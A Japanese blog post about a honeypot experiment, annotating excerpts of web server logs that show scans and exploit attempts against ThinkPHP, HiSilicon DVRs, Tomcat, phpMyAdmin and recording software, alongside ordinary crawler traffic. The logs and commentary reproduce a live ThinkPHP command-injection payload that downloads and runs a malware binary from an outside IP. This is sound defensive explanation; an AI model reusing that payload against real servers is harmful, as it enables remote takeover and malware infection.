サイバー攻撃とは実際どんなものなのか

#ハニーポット

「サイバー攻撃」ってよく聞くけど、実際どんなものなの？って疑問に思ったので、サーバーの80番ポートをFWとかWAFを使わずに直接ネットに晒してどんなアクセスが来るのか観察してみた。
ちなみに、こういうやり方のサイバー攻撃調査をハニーポットと言う。

ネットに向けてポートを直接開放すると、開放した直後からまだURLも取得していないのに色んなアクセスが来る。
不審なアクセスはたくさんありすぎて全部追えないが、どんなものがあるのか一部だけ調べてみた。

普段はしっかり守られていて気づきにくいが、インターネットって怖いね。

#実際のログ(抜粋)

実際のアクセスログから目についたものを抜粋してみた。

```

186.243.64.209 - - [16/Oct/2019:13:40:41 +0800] "GET ../../mnt/custom/ProductDefinition HTTP" 400 157 "-" "-" "-"
93.73.237.40 - - [16/Oct/2019:14:51:28 +0800] "GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://192.99.55.18/Ouija_x.86 -O /tmp/Ouija_x.86; chmod 777 /tmp/Ouija_x.86; /tmp/Ouija_x.86 Ouija_x.86' HTTP/1.1" 400 157 "-" "Ouija_x.86/2.0" "-"
114.118.7.89 - - [16/Oct/2019:16:05:45 +0800] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 555 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0" "-"
114.118.7.89 - - [16/Oct/2019:16:07:08 +0800] "GET /manager/html HTTP/1.1" 404 555 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36" "-"
94.141.169.68 - - [14/Oct/2019:15:33:57 +0800] "GET /epgrec/do-record.sh HTTP/1.0" 404 153 "-" "Firefox 3.1" "-"
165.227.89.250 - - [14/Oct/2019:19:38:43 +0800] "GET /pma/scripts/setup.php HTTP/1.1" 404 153 "-" "ZmEu" "-"
209.141.34.34 - admin [15/Oct/2019:07:49:55 +0800] "POST /editBlackAndWhiteList HTTP/1.1" 404 153 "-" "ApiTool" "-"
94.141.169.68 - - [14/Oct/2019:15:33:56 +0800] "GET /foltia/ HTTP/1.0" 404 153 "-" "Firefox 3.1" "-"
118.89.148.234 - - [15/Oct/2019:04:09:14 +0800] "GET /robots.txt HTTP/1.1" 200 14 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0" "-"
80.82.77.139 - - [16/Oct/2019:01:13:41 +0800] "GET /sitemap.xml HTTP/1.1" 404 153 "-" "-" "-"
80.82.77.139 - - [16/Oct/2019:01:13:42 +0800] "GET /.well-known/security.txt HTTP/1.1" 404 153 "-" "-" "-"
3.87.176.158 - - [14/Oct/2019:13:53:04 +0800] "GET / HTTP/1.1" 200 839 "-" "Cloud mapping experiment. Contact research@pdrlabs.net" "-"
```

##不審なアクセス

###ネットワークレコーダーの脆弱性を狙ったアクセス

`GET ../../mnt/custom/ProductDefinition`

HiSilicon製のDVR機器(ネットワークレコーダー)の脆弱性を狙っている。
ここのパスにアクセスすると、バッファオーバーフローを起こすらしい。

>"SSD Advisory – HiSilicon Multiple Vulnerabilities"
>https://ssd-disclosure.com/archives/3025/ssd-advisory-hisilicon-mul...

###ThinkPHPの脆弱性を狙ったアクセス

`GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://192.99.55.18/Ouija_x.86 -O /tmp/Ouija_x.86; chmod 777 /tmp/Ouija_x.86; /tmp/Ouija_x.86 Ouija_x.86`

一目見ただけで悪いことをしているのが丸わかりなやつ。
これはThinkPHPのコマンドインジェクションを使って任意のコマンドを実行させようとしているようだ。

コマンド部分に改行を入れて整理するとこんな感じになる。

```
wget http://192.99.55.18/Ouija_x.86 -O /tmp/Ouija_x.86
chmod 777 /tmp/Ouija_x.86
/tmp/Ouija_x.86 Ouija_x.86
```

①怪しいバイナリを取ってきて、②実行権限を付けて、③実行という超単純な流れ。

ちなみにこの`http://192.99.55.18/Ouija_x.86`ってやつ、ダウンロードしたら瞬殺でWindows Defenderに削除された。
Windows Defender、けっこう有能です。

###URLエンコード版

`GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50`

エンコードしただけで、内容は上のやつと似たような感じ。

###Tomcatのマネージャー画面を確認

`GET /manager/html`

このパスはTomcatのマネージャー画面と思われるので、そこにアクセスできるかをチェックしているんだろう。
それで、アクセス成功したらブルートフォースをするんだろう。
この画面が外部に公開されてる時点でかなりまずいし、おまけにパスワードをデフォルトから変えてなかったりしたらもう目も当てられない。

###phpMyAbminのバージョンチェック？

同じIPアドレスから5分間で約800件のアクセスが来ていた。

`GET /PMA/scripts/setup.php `
`GET /myadmin/scripts/setup.php `
`GET /MyAdmin/scripts/setup.php `
`GET /pma/scripts/db___.init.php `
`GET /PMA/scripts/db___.init.php `
`GET /myadmin/scripts/db___.init.php `
`GET /MyAdmin/scripts/db___.init.php `
`GET /plugins/weathermap/editor.php `
`GET /cacti/plugins/weathermap/editor.php `
`GET /weathermap/editor.php `
`GET /desktop.ini.php`

phpMyAbminは過去のバージョンに脆弱性があったので、それを狙っていると思われる。
これの他にも、ありそうな名前のphpファイルを数百個しらみつぶしに調べていた。

古いブログだが、[ここ](https://ozuma.hatenablog.jp/entry/20130916/1379332757)に似たようなのが載ってた。

###EPGrecに対する不正アクセスの試行

`GET /epgrec/do-record.sh`

EPGrecというのは録画予約システムのWebアプリケーションで、不正アクセスされると勝手に放送を録画したり動画をコピーされたりする可能性があるそうだ。
これはあくまで外部からアクセス可能かを判断しているだけで、これが取得できたら別の攻撃が来ると思われる。

###おそらくDVR機器の脆弱性攻撃

`POST /editBlackAndWhiteList`

情報がほとんどなくてわからなかったが、これもDVR機器関連の脆弱性らしい

###foltia

`GET /foltia/`

foltiaで検索したら、「foltia ANIME LOCKER」しか見つからなかった。
アニメに特化した自動録画予約ソフトだそうだが、何か脆弱性があるのかな。
さっきのEPGrecやHiSiliconみたいなのもあるし、何にせよこういう録画系のものは外部に公開しない方がよさそう。

##おそらく正常なアクセス(クローラーなど)

###robots.txt

`GET /robots.txt`

Googleなどの検索エンジンがインデックス更新のために見に来ている。
これは特に不審なものではない。

###サイトマップ取得

`GET /sitemap.xml`

おそらくこれもクローラーで、各サイトのサイトマップ情報を収集しているんだろう。

###Security.txt

`GET /.well-known/security.txt`

これは初めて知った。
サイトに脆弱性が見つかった時などの連絡先をここに定義しておくといいらしい。

[security.txt - A proposed standard which allows websites to define security policies.](https://securitytxt.org)

RFCは[これ](https://tools.ietf.org/html/draft-foudil-securitytxt-01)かな。

###何かの調査と思われる

`"GET / HTTP/1.1" 200 839 "-" "Cloud mapping experiment. Contact research@pdrlabs.net"`

ここがやっているらしい。
[PDR Labs Internet Mapping Experiment](http://www.pdrlabs.net)

>We are an industry research group focused on understanding large-scale traffic patterns, and so it is useful to understand what address space is being actively utilized. To accomplish this, our crawling network makes HTTP HEAD requests on the public ports 80 and 443 (web traffic) for IPv4 and sections of IPv6 address space. This lets us see which addresses are actively being used in large traffic patterns. We respect all robots.txt entries.

今現在使用されているIPアドレスをクローラーで調査しているんだとか。

##その他、よくわからないもの


###とても長いBase64のリクエスト

`\x01\x02\x03\x04\x00\x00\x00\x00\x00...(省略)`

GETとかPOSTすらついていない、謎のアクセス。
とても長かったが、オーバーフローでも狙ってるのか？

###空のリクエスト

`  `

空のリクエスト。当然400で返ってるけど、何がしたかったんだろう。
こういう脆弱性もあるのかな。

###動画ファイル?

`GET /mahua/v/20190212/8dfcb2192a5052e5a152b9d8115201af_24f3fa0cbc00474fab1610181191b09c_0.m3u8`

動画ファイルをダウンロードしようとしているが、何がしたいのか。
ピンポイントでこのファイル名を狙って、ダウンロードできることもあるのか？

#アクセス元はどんなところなのか

アクセス元のIPにこちらからHTTPでアクセスしてみた。
ほとんどのIPは何も応答はないが、まれにページが表示される。

アクセス元は乗っ取られているのかもしれないし、IPが偽装されているだけかもしれないので、これだけを見て何か言えるわけではない。

![123.207.89.25.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/215103/d60ce12e-7856-0a2f-6cb9-f5354a3d713b.png)

中国と思われる企業のページ。
説明文を翻訳してみたが、特に当たり障りのないことが書かれていた。
ただ、トップページしかなくて、会社情報もリンクも一切ない謎のページ。

![89.248.169.17.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/215103/e87689b0-a381-9bce-b410-c8e70d76c410.png)

ルーターのログインページが表示されたものもあった。
どこの誰だか知らないけど、このページはインターネットに公開するべきじゃないでしょ、、、

![81.162.72.38.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/215103/565fc1bb-ada9-2627-ae85-1738714a1a4f.png)

こちらはWebサーバーのデフォルトページ
誰かの個人サーバーかな？

#結論

アップデートはちゃんとしよう。
WAFを使おう。